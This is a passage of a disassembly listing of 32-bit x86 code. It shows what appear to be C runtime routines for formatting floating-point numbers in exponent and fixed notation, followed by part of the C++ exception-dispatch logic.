		cmp	eax, 65h
		jz	short loc_423510


loc_4234CA:				; CODE XREF: sub_4234B0+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	dword_443B70, 1
		jle	short loc_4234F2
		push	4
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_42350A
; ---------------------------------------------------------------------------


loc_4234F2:				; CODE XREF: sub_4234B0+2Aj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_C], edx


loc_42350A:				; CODE XREF: sub_4234B0+40j
		cmp	[ebp+var_C], 0
		jnz	short loc_4234CA


loc_423510:				; CODE XREF: sub_4234B0+18j
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_0]
		mov	al, byte_443B74
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42352B:				; CODE XREF: sub_4234B0+A2j
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl
		mov	al, [ebp+var_4]
		mov	[ebp+var_8], al
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jnz	short loc_42352B
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423560	proc near		; CODE XREF: sub_41E9B0+6F1p
					; DATA XREF: sub_4190F0+Do ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_423564:				; CODE XREF: sub_423560+28j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42358A
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte_443B74
		cmp	eax, ecx
		jz	short loc_42358A
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_423564
; ---------------------------------------------------------------------------


loc_42358A:				; CODE XREF: sub_423560+Cj
					; sub_423560+1Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		test	ecx, ecx
		jz	loc_423633


loc_4235A1:				; CODE XREF: sub_423560+6Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_4235CC
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 65h
		jz	short loc_4235CC
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 45h
		jz	short loc_4235CC
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_4235A1
; ---------------------------------------------------------------------------


loc_4235CC:				; CODE XREF: sub_423560+49j
					; sub_423560+54j ...
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx


loc_4235DB:				; CODE XREF: sub_423560+8Fj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jnz	short loc_4235F1
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_4235DB
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: sub_423560+84j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte_443B74
		cmp	ecx, edx
		jnz	short loc_42360B
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		mov	[ebp+arg_0], eax


loc_42360B:				; CODE XREF: sub_423560+A0j
					; sub_423560+D1j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_423633
		jmp	short loc_42360B
; ---------------------------------------------------------------------------


loc_423633:				; CODE XREF: sub_423560+3Bj
					; sub_423560+CFj
		mov	esp, ebp
		pop	ebp
		retn
sub_423560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423640	proc near		; DATA XREF: sub_4190F0+2Bo
					; ___:off_444258o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 1
		jnz	short loc_42365F
		mov	[ebp+var_4], 1
		jmp	short loc_423666
; ---------------------------------------------------------------------------


loc_42365F:				; CODE XREF: sub_423640+14j
		mov	[ebp+var_4], 0


loc_423666:				; CODE XREF: sub_423640+1Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_423640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423670	proc near		; CODE XREF: sub_420920+1138p
					; DATA XREF: sub_4190F0+17o ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42369C
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_42A3C0
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+4], ecx
		jmp	short loc_4236B4
; ---------------------------------------------------------------------------


loc_42369C:				; CODE XREF: sub_423670+Aj
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42A440
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_4236B4:				; CODE XREF: sub_423670+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_423670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4236C0	proc near		; CODE XREF: sub_423B50+1Fp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42A580
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		xor	edx, edx
		cmp	[ebp+arg_8], 0
		setnle	dl
		add	ecx, edx
		push	ecx
		call	sub_42A480
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_423740
		add	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4236C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423740	proc near		; CODE XREF: sub_4236C0+67p
					; sub_423A60+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		movsx	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_423777
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		cmp	dword ptr [ecx], 2Dh
		setz	dl
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		cmp	[ebp+arg_4], 0
		setnle	cl
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_423BB0
		add	esp, 8


loc_423777:				; CODE XREF: sub_423740+Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 2Dh
		jnz	short loc_423794
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_423794:				; CODE XREF: sub_423740+43j
		cmp	[ebp+arg_4], 0
		jle	short loc_4237B8
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	al, byte_443B74
		mov	[edx], al


loc_4237B8:				; CODE XREF: sub_423740+58j
		push	offset aE000	; "e+000"
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		movsx	edx, [ebp+arg_10]
		neg	edx
		sbb	edx, edx
		inc	edx
		add	ecx, edx
		push	ecx
		call	sub_4184C0
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4237E6
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	45h


loc_4237E6:				; CODE XREF: sub_423740+9Ej
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jz	loc_42389F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_423821
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh


loc_423821:				; CODE XREF: sub_423740+D1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 64h
		jl	short loc_423855
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_8], edx


loc_423855:				; CODE XREF: sub_423740+EEj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		cmp	[ebp+var_8], 0Ah
		jl	short loc_423889
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+var_8], edx


loc_423889:				; CODE XREF: sub_423740+122j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, byte ptr [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_42389F:				; CODE XREF: sub_423740+BBj
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_423740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4238B0	proc near		; CODE XREF: sub_423B50+3Bp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42A580
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		add	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		push	edx
		call	sub_42A480
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_423920
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4238B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423920	proc near		; CODE XREF: sub_4238B0+5Bp
					; sub_423A60+D9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_423973
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_0]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_423973
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0


loc_423973:				; CODE XREF: sub_423920+18j
					; sub_423920+33j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 2Dh
		jnz	short loc_423990
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_423990:				; CODE XREF: sub_423920+5Fj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jg	short loc_4239B8
		push	1
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_423BB0
		add	esp, 8
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_4239B8:				; CODE XREF: sub_423920+77j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+4]
		mov	[ebp+var_4], edx


loc_4239C4:				; CODE XREF: sub_423920+96j
		cmp	[ebp+arg_4], 0
		jle	loc_423A56
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_423BB0
		add	esp, 8
		mov	ecx, [ebp+var_4]
		mov	dl, byte_443B74
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_423A56
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_423A0E
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		jmp	short loc_423A34
; ---------------------------------------------------------------------------


loc_423A0E:				; CODE XREF: sub_423920+DFj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_423A23
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		jmp	short loc_423A2E
; ---------------------------------------------------------------------------


loc_423A23:				; CODE XREF: sub_423920+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		mov	[ebp+var_10], eax


loc_423A2E:				; CODE XREF: sub_423920+101j
		mov	ecx, [ebp+var_10]
		mov	[ebp+arg_4], ecx


loc_423A34:				; CODE XREF: sub_423920+ECj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_423BB0
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	30h
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_417070
		add	esp, 0Ch


loc_423A56:				; CODE XREF: sub_423920+A8j
					; sub_423920+D7j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_423920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A60	proc near		; CODE XREF: sub_423B50+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42A580
		add	esp, 10h
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42A480
		add	esp, 0Ch
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		xor	ecx, ecx
		cmp	[ebp+var_34], eax
		setl	cl
		mov	[ebp+var_30], cl
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFCh
		jl	short loc_423AEB
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_423B07


loc_423AEB:				; CODE XREF: sub_423A60+81j
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_423740
		add	esp, 14h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B07:				; CODE XREF: sub_423A60+89j
		movsx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_423B2B


loc_423B0F:				; CODE XREF: sub_423A60+C2j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_423B24
		jmp	short loc_423B0F
; ---------------------------------------------------------------------------


loc_423B24:				; CODE XREF: sub_423A60+C0j
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx-2], 0


loc_423B2B:				; CODE XREF: sub_423A60+ADj
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_423920
		add	esp, 10h


loc_423B41:				; CODE XREF: sub_423A60+A5j
		mov	esp, ebp
		pop	ebp
		retn
sub_423A60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423B50	proc near		; CODE XREF: sub_41E9B0+6ADp
					; DATA XREF: sub_4190F0+3o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_423B5F
		cmp	[ebp+arg_8], 45h
		jnz	short loc_423B79


loc_423B5F:				; CODE XREF: sub_423B50+7j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4236C0
		add	esp, 10h
		jmp	short loc_423BAD
; ---------------------------------------------------------------------------


loc_423B79:				; CODE XREF: sub_423B50+Dj
		cmp	[ebp+arg_8], 66h
		jnz	short loc_423B95
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4238B0
		add	esp, 0Ch
		jmp	short loc_423BAD
; ---------------------------------------------------------------------------


loc_423B95:				; CODE XREF: sub_423B50+2Dj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423A60
		add	esp, 10h


loc_423BAD:				; CODE XREF: sub_423B50+27j
					; sub_423B50+43j
		pop	ebp
		retn
sub_423B50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BB0	proc near		; CODE XREF: sub_423740+2Fp
					; sub_423920+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_423BDC
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		push	edx
		call	sub_4197C0
		add	esp, 0Ch


loc_423BDC:				; CODE XREF: sub_423BB0+7j
		pop	ebp
		retn
sub_423BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BE0	proc near		; CODE XREF: sub_4193A0+27p
					; sub_419480+2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 19930520h
		jnz	short loc_423BFA
		mov	[ebp+var_8], 0
		jmp	short loc_423C02
; ---------------------------------------------------------------------------


loc_423BFA:				; CODE XREF: sub_423BE0+Fj
		call	sub_424940
		mov	[ebp+var_8], eax


loc_423C02:				; CODE XREF: sub_423BE0+18j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, 66h
		test	edx, edx
		jz	short loc_423C3E
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_423C34
		cmp	[ebp+arg_14], 0
		jnz	short loc_423C34
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_424150
		add	esp, 10h


loc_423C34:				; CODE XREF: sub_423BE0+36j
					; sub_423BE0+3Cj
		mov	eax, 1
		jmp	loc_423CCB
; ---------------------------------------------------------------------------


loc_423C3E:				; CODE XREF: sub_423BE0+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_423CC6
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_423C9E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jbe	short loc_423C9E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_423C9E
		mov	ecx, [ebp+arg_1C]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	[ebp+var_4]
		add	esp, 20h
		jmp	short loc_423CCB
; ---------------------------------------------------------------------------


loc_423C9E:				; CODE XREF: sub_423BE0+70j
					; sub_423BE0+7Cj ...
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, byte ptr [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423CD0
		add	esp, 20h


loc_423CC6:				; CODE XREF: sub_423BE0+65j
		mov	eax, 1


loc_423CCB:				; CODE XREF: sub_423BE0+59j
					; sub_423BE0+BCj
		mov	esp, ebp
		pop	ebp
		retn
sub_423BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CD0	proc near		; CODE XREF: sub_423BE0+DEp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jl	short loc_423CFD
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx+4]
		jge	short loc_423CFD
		mov	[ebp+var_28], 0
		jmp	short loc_423D05
; ---------------------------------------------------------------------------


loc_423CFD:				; CODE XREF: sub_423CD0+17j
					; sub_423CD0+22j
		call	sub_424940
		mov	[ebp+var_28], eax


loc_423D05:				; CODE XREF: sub_423CD0+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	loc_423DC5
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 3
		jnz	loc_423DC5
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	loc_423DC5
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	loc_423DC5
		call	sub_41F970
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_423D4E
		jmp	loc_423F6C
; ---------------------------------------------------------------------------


loc_423D4E:				; CODE XREF: sub_423CD0+77j
		call	sub_41F970
		mov	edx, [eax+6Ch]
		mov	[ebp+arg_0], edx
		call	sub_41F970
		mov	eax, [eax+70h]
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], 1
